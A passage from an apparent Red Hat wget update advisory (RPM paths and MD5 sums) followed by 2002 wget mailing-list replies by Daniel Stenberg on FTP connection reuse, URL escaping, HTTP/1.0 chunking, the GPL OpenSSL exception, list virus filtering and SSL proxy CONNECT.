a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. RPMs required: Red Hat Linux 6.2: SRPMS: ftp://updates.redhat.com/6.2/en/os/SRPMS/wget-1.8.2-4.6x.src.rpm i386: ftp://updates.redhat.com/6.2/en/os/i386/wget-1.8.2-4.6x.i386.rpm Red Hat Linux 7.0: SRPMS: ftp://updates.redhat.com/7.0/en/os/SRPMS/wget-1.8.2-4.70.src.rpm i386: ftp://updates.redhat.com/7.0/en/os/i386/wget-1.8.2-4.70.i386.rpm Red Hat Linux 7.1: SRPMS: ftp://updates.redhat.com/7.1/en/os/SRPMS/wget-1.8.2-4.71.src.rpm i386: ftp://updates.redhat.com/7.1/en/os/i386/wget-1.8.2-4.71.i386.rpm ia64: ftp://updates.redhat.com/7.1/en/os/ia64/wget-1.8.2-4.71.ia64.rpm Red Hat Linux 7.2: SRPMS: ftp://updates.redhat.com/7.2/en/os/SRPMS/wget-1.8.2-4.72.src.rpm i386: ftp://updates.redhat.com/7.2/en/os/i386/wget-1.8.2-4.72.i386.rpm ia64: ftp://updates.redhat.com/7.2/en/os/ia64/wget-1.8.2-4.72.ia64.rpm Red Hat Linux 7.3: SRPMS: ftp://updates.redhat.com/7.3/en/os/SRPMS/wget-1.8.2-4.73.src.rpm i386: ftp://updates.redhat.com/7.3/en/os/i386/wget-1.8.2-4.73.i386.rpm Red Hat Linux 8.0: SRPMS: ftp://updates.redhat.com/8.0/en/os/SRPMS/wget-1.8.2-5.src.rpm i386: ftp://updates.redhat.com/8.0/en/os/i386/wget-1.8.2-5.i386.rpm 6. Verification: MD5 sum Package Name -- 2c06b1ab033d70ec287bb9c91a8daa68 6.2/en/os/SRPMS/wget-1.8.2-4.6x.src.rpm fffbaeacd02411c23d011b1000f0ab49 6.2/en/os/i386/wget-1.8.2-4.6x.i386.rpm 8cfc796d3489f3d19d4af589bb73641b 7.0/en/os/SRPMS/wget-1.8.2-4.70.src.rpm 8c8abf8f81f057dbd74098b87fb9b54c 7.0/en/os/i386/wget-1.8.2-4.70.i386.rpm 5e022a0c2f4afe5285a5ed6b8abc0ee8 7.1/en/os/SRPMS/wget-1.8.2-4.71.src.rpm 229949e6fdde7a02f56999b4271bc5b1 7.1/en/os/i386/wget-1.8.2-4.71.i386.rpm e24aba62d9589e0999678f880db6de08 7.1/en/os/ia64/wget-1.8.2-4.71
Re: Reusing current connection (FTP)
On Fri, 4 Oct 2002, Dinko Yaksic wrote: I wonder if there's (are) command(s) to reuse the connection, I mean to avoid the process of authenticating when download 2 or more files from the same server. For example, if I execute: wget --passive-ftp -i download.txt -B ftp://user:[EMAIL PROTECTED] occurs that for every single file in download.txt, the client (wget) logs-in close connection, instead of reusing the current FTP connection for retrieving the next file (since it's already inside the ftp). curl (http://curl.haxx.se/) offers multiple FTP downloads from the same site similar to this, but re-uses the same connection as long as possible. curl is however not a wget clone, so there will be features only wget can do, and vice versa. -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Bug with user:pass in URL
On Tue, 17 Sep 2002, Nikolay Kuzmin wrote: There is a bug in wget1.8.2 when username or password contains symbol ''. I think you should change code in file src/url.c from I disagree. The name and password fields must never contain a letter, as it is a reserved letter in URL strings. If your name or password contain , then replace it with %40 in the URL. -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: different response to wget and IE
On Thu, 13 Jun 2002, Guy CHEMLA wrote: Could someone please explain why does Apache issue a Connection: close when wget requests a cgi? Pasting below requests of IE and wget and Apache's responses to each. Does Apache have a reasons to suspect wget's ability to deal with chunks? It doesn't just suspect that, it knows. Wget issues a HTTP/1.0 request and then it (the server) can't reply with a chunked response. Since it doesn't know the size on beforehand, it can only send the response as Connection: close. -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: The exception voids GPL
On Wed, 12 Jun 2002, Hrvoje Niksic wrote: Ok, IANAL and I won't stress this as there's probably something here that my little brain hasn't understood. - Just make your extension a library and name it OpenSSL. - Or just extend the existing OpenSSL library to do whatever things you want. I don't think either of these works. The exception clearly says: In addition, as a special exception, the Free Software Foundation gives permission to link the code of its release of Wget with the OpenSSL project's OpenSSL library So if you name a random library OpenSSL, it's no longer OpenSSL project's 'OpenSSL' library. You're right about my first paragraph. But then there's nothing that says what it contains. Using the second approach is only a minor variation of the first. (or with modified versions of it that use the same license as the OpenSSL library), I don't know what the OpenSSL license is, but it might well bind you to distribute the source to that as well. It doesn't. OpenSSL uses a BSD-like license (and that is the main reason why it isn't compatible with GPL, AFAIK). It only forces you to display the OpenSSL copyright text should you decide to distribute binaries using source code based on it. I am allowed to get OpenSSL, modify it and distribute binaries without releasing the code to my changes. Other GNU programs have used similar exceptions in the past. I find it unlikely that they would have contained such an obvious flaw. But then again, some flaws become obvious only *after* someone first spots them. To tell you the truth, I've thought about this before in other projects as well, I just finally stepped forward and ventilated my thoughts about it. Not that I think it'll happen to wget, but it would certainly be interesting if someone would contribute source code to the project that is strict GPL (without the exception) as then the new clean GPL-code would impose further restrictions than the existing code and wouldn't be compatible and thus couldn't be used... Anyway, I'll drop this now and go play in my own backyard again. ;-) -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: change the list status to subscribed members?
On Fri, 7 Jun 2002, Martin Trautmann wrote: I'm afraid that this is only little help, since the current virus fakes a from by any other address from address book. But maybe it will help to reduce the garbage from the list. Refusing mails larger than 50K would've stopped almost all the recent viruses that have been sent here. Refusing mails with ScanMail Message in the subject would've stopped all the warning mails that accompany 98% of all those virus mails. -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
The exception voids GPL
Yes If the big bad company wants to use wget and modify it for their own purposes without giving the source code back, the recently added exception to the GPL gives them every means: - Just make your extension a library and name it OpenSSL. - Or just extend the existing OpenSSL library to do whatever things you want. IANAL. -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Trying to access an SSL site thru a HTTP proxy....
On Wed, 5 Jun 2002, Thomas Lussnig wrote: And Try if openssl/gnutls handle it on used connection (i think yes, if no data readable for the moment). You pass the socket descriptor to OpenSSL. It easy to do that the exact same way, either after only a connect() or after a connect() with some CONNECT stuff. Second make sure the proxy part do not become broken (don't know if there is the scenario SSL-PROXY connection and then SSL-HTTP request). Because this would mean that there become the need of an SSL [ SSL [ HTTP ] ] stream. And this is definitly much more tricky :-( The CONNECT request is different from other proxy stuff and could possibly be written in a separate function. The proxy communication is not available as an RFC but that is the way SSL tunneling thru a proxy works. This is wrong. RFC2616 includes all details needed. The information was available before too, in various (now deprecated) documents. After the host is resolved and the proxy figures out that it is a secure site it just acts as a router between the client and the destination server. I need to figure out the starting point of that communication (where the SSL handshake starts). If the PROXY - SSL is not RFC-Normed there come the next question, how clients know how to work with it, is it product specific ? It's standard all right. Proxys pass *everything* through after a CONNECT has been requested and a positive reply has been returned back. What you send to the proxy gets sent to the remote server, what you read was sent fromt the remote server. -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
